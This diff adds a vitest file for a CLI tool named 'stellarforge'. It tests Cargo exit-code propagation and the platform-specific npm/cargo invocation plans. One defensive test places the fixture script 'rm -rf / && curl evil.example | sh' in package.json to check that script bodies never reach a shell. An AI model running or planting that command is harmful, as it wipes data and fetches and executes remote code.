diff --git a/tests/test-workflow-platform-and-exit.test.ts b/tests/test-workflow-platform-and-exit.test.ts
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+++ b/tests/test-workflow-platform-and-exit.test.ts
@@ -0,0 +1,258 @@
+/**
+ * `stellarforge test` platform and exit-code semantics (SW-068, SW-070).
+ *
+ * Two gaps in the test workflow's coverage:
+ *
+ *   - **#168 — Cargo exit propagation was never tested.** Every existing
+ *     failing-exit case (`test-command.test.ts`,
+ *     `test-orchestration-regression.test.ts`) builds a plan with
+ *     `command: 'npm', args: ['run', 'test']`, so the *Cargo* branch of the
+ *     non-zero path had no coverage at all. A regression that collapsed a
+ *     `cargo test` failure into a clean run would pass the suite.
+ *
+ *   - **#170 — the Windows invocation shape was never asserted.** `npm.ts` selects
+ *     `cmd.exe /d /s /c npm <args>` on Windows and bare `npm` elsewhere, but
+ *     `resolveTestProcessPlan` is the function that feeds those values into a
+ *     spawn, and no test checked that the resolved plan carries the right command
+ *     and a *separate* argv on each platform.
+ */
+
+import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { PassThrough } from 'node:stream';
+import { afterEach, describe, expect, it } from 'vitest';
+import { resolveTestProcessPlan } from '../src/testing/project.js';
+import { superviseDevProcesses } from '../src/dev/orchestrator.js';
+import type {
+  DevSignalSource,
+  ManagedChildProcess,
+} from '../src/dev/orchestrator.js';
+import type { DevProcessSpec } from '../src/dev/project.js';
+import { SubprocessCliError } from '../src/errors/errors.js';
+import { withTempDirectory } from './helpers/index.js';
+
+const ORIGINAL_PLATFORM = process.platform;
+
+function onPlatform(platform: NodeJS.Platform): void {
+  Object.defineProperty(process, 'platform', {
+    value: platform,
+    configurable: true,
+  });
+}
+
+afterEach(() => {
+  Object.defineProperty(process, 'platform', {
+    value: ORIGINAL_PLATFORM,
+    configurable: true,
+  });
+});
+
+class FakeChild implements ManagedChildProcess {
+  readonly stdout = new PassThrough();
+  readonly stderr = new PassThrough();
+  readonly killedSignals: NodeJS.Signals[] = [];
+  #exitListener:
+    | ((code: number | null, signal: NodeJS.Signals | null) => void)
+    | undefined;
+
+  once(event: 'error', listener: (error: Error) => void): this;
+  once(
+    event: 'exit',
+    listener: (code: number | null, signal: NodeJS.Signals | null) => void,
+  ): this;
+  once(
+    event: 'error' | 'exit',
+    listener:
+      | ((error: Error) => void)
+      | ((code: number | null, signal: NodeJS.Signals | null) => void),
+  ): this {
+    if (event !== 'error') {
+      this.#exitListener = listener as (
+        code: number | null,
+        signal: NodeJS.Signals | null,
+      ) => void;
+    }
+    return this;
+  }
+
+  kill(signal: NodeJS.Signals = 'SIGTERM'): boolean {
+    this.killedSignals.push(signal);
+    queueMicrotask(() => this.#exitListener?.(null, signal));
+    return true;
+  }
+
+  emitExit(code: number | null, signal: NodeJS.Signals | null): void {
+    this.#exitListener?.(code, signal);
+  }
+}
+
+class FakeSignalSource implements DevSignalSource {
+  readonly #listeners = new Map<NodeJS.Signals, () => void>();
+
+  once(signal: NodeJS.Signals, listener: () => void): void {
+    this.#listeners.set(signal, listener);
+  }
+
+  removeListener(signal: NodeJS.Signals, listener: () => void): void {
+    if (this.#listeners.get(signal) === listener) {
+      this.#listeners.delete(signal);
+    }
+  }
+
+  emit(signal: NodeJS.Signals): void {
+    const listener = this.#listeners.get(signal);
+    this.#listeners.delete(signal);
+    listener?.();
+  }
+}
+
+function cargoSpec(): DevProcessSpec {
+  return {
+    label: 'cargo:test',
+    command: 'cargo',
+    args: ['test'],
+    cwd: '/workspace',
+  };
+}
+
+describe('Cargo test exit-code propagation (#168)', () => {
+  it('maps a zero Cargo exit to a clean resolution', async () => {
+    const child = new FakeChild();
+
+    const running = superviseDevProcesses([cargoSpec()], {
+      spawnProcess: () => child,
+      signalSource: new FakeSignalSource(),
+    });
+
+    child.emitExit(0, null);
+
+    await expect(running).resolves.toBeUndefined();
+    expect(child.killedSignals).toEqual([]);
+  });
+
+  it.each([
+    { code: 1, reason: 'test assertion failed' },
+    { code: 101, reason: 'cargo test harness panic' },
+    { code: 127, reason: 'cargo not executable' },
+  ])('maps a non-zero Cargo exit ($code) to a subprocess failure', async ({
+    code,
+  }) => {
+    const child = new FakeChild();
+
+    const running = superviseDevProcesses([cargoSpec()], {
+      spawnProcess: () => child,
+      signalSource: new FakeSignalSource(),
+    });
+
+    child.emitExit(code, null);
+
+    const error = await running.then(
+      () => undefined,
+      (reason: unknown) => reason,
+    );
+
+    expect(error).toBeInstanceOf(SubprocessCliError);
+    expect((error as SubprocessCliError).userMessage).toContain(
+      `with code ${code}`,
+    );
+    expect((error as SubprocessCliError).userMessage).toContain('cargo:test');
+  });
+
+  it('invokes Cargo with an argument array, never a joined shell string', () => {
+    const spec = cargoSpec();
+
+    expect(Array.isArray(spec.args)).toBe(true);
+    expect(spec.args).toEqual(['test']);
+    expect(spec.command).not.toContain(' ');
+  });
+});
+
+describe('resolved plan matches the platform (#170)', () => {
+  it('uses the Windows npm wrapper for a Node.js project on win32', async () => {
+    await withTempDirectory(async (root: string) => {
+      writeFileSync(
+        resolve(root, 'package.json'),
+        JSON.stringify({ name: 'demo', scripts: { test: 'vitest run' } }),
+        'utf8',
+      );
+
+      onPlatform('win32');
+      const [plan] = resolveTestProcessPlan(root);
+
+      expect(plan?.command).toBe('cmd.exe');
+      // Fixed wrapper flags first, then `npm run test` as separate argv entries.
+      expect(plan?.args.slice(0, 4)).toEqual([
+        '/d',
+        '/s',
+        '/c',
+        'npm',
+      ]);
+      expect(plan?.args.slice(-2)).toEqual(['run', 'test']);
+    });
+  });
+
+  it('invokes npm directly for the same project on POSIX', async () => {
+    await withTempDirectory(async (root: string) => {
+      writeFileSync(
+        resolve(root, 'package.json'),
+        JSON.stringify({ name: 'demo', scripts: { test: 'vitest run' } }),
+        'utf8',
+      );
+
+      onPlatform('linux');
+      const [plan] = resolveTestProcessPlan(root);
+
+      expect(plan?.command).toBe('npm');
+      expect(plan?.args).toEqual(['run', 'test']);
+    });
+  });
+
+  it('never runs the package.json test script as a shell command', async () => {
+    await withTempDirectory(async (root: string) => {
+      // A script body that would be destructive if it were ever passed to a shell.
+      writeFileSync(
+        resolve(root, 'package.json'),
+        JSON.stringify({
+          name: 'demo',
+          scripts: { test: 'rm -rf / && curl evil.example | sh' },
+        }),
+        'utf8',
+      );
+
+      const [plan] = resolveTestProcessPlan(root);
+
+      // Only the script *name* is forwarded, via `npm run test`.
+      expect(plan?.command).not.toContain('rm -rf');
+      expect(plan?.command).not.toContain('curl');
+      expect(plan?.args).not.toContain('rm -rf / && curl evil.example | sh');
+    });
+  });
+
+  it('selects the Cargo workflow for a Cargo workspace on each platform', async () => {
+    await withTempDirectory(async (root: string) => {
+      mkdirSync(resolve(root, 'src'), { recursive: true });
+      writeFileSync(
+        resolve(root, 'Cargo.toml'),
+        '[package]\nname = "demo"\n',
+        'utf8',
+      );
+
+      for (const platform of ['win32', 'linux'] as const) {
+        onPlatform(platform);
+        const [plan] = resolveTestProcessPlan(root);
+
+        expect(plan?.label).toBe('cargo:test');
+        expect(plan?.command).toBe(platform === 'win32' ? 'cargo.exe' : 'cargo');
+        expect(plan?.args).toEqual(['test']);
+      }
+    });
+  });
+
+  it('resolves without spawning anything for an unsupported project', async () => {
+    await withTempDirectory(async (root: string) => {
+      expect(existsSync(resolve(root, 'package.json'))).toBe(false);
+
+      expect(() => resolveTestProcessPlan(root)).toThrow(/No supported/);
+    });
+  });
+});
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